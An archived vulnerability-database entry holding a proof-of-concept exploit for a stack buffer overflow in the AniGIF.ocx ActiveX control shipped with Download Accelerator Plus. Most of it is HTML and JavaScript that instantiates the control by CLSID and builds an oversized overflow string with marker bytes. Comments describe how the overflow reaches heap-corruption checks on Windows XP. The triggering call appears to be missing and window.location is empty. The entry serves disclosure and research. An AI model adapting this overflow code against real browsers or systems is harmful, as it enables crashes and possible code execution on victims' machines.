Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

ID SSV:9269
Type seebug
Reporter Root
Modified 2008-08-11T00:00:00


No description provided by source.

<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
<script language=javascript>

// anigif.ocx by can be found distribuited with some applications, 
// I found it in Download Accelerator Plus 6.8. 
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods, 
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx 
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap 
// overflow scenario.

var buf;
for (var i=0; i<259; i++) buf += "X";

buf +="BBBB";
buf += "CCCC";

for (var i=0; i<5728; i++) buf += "H";


window.location = "";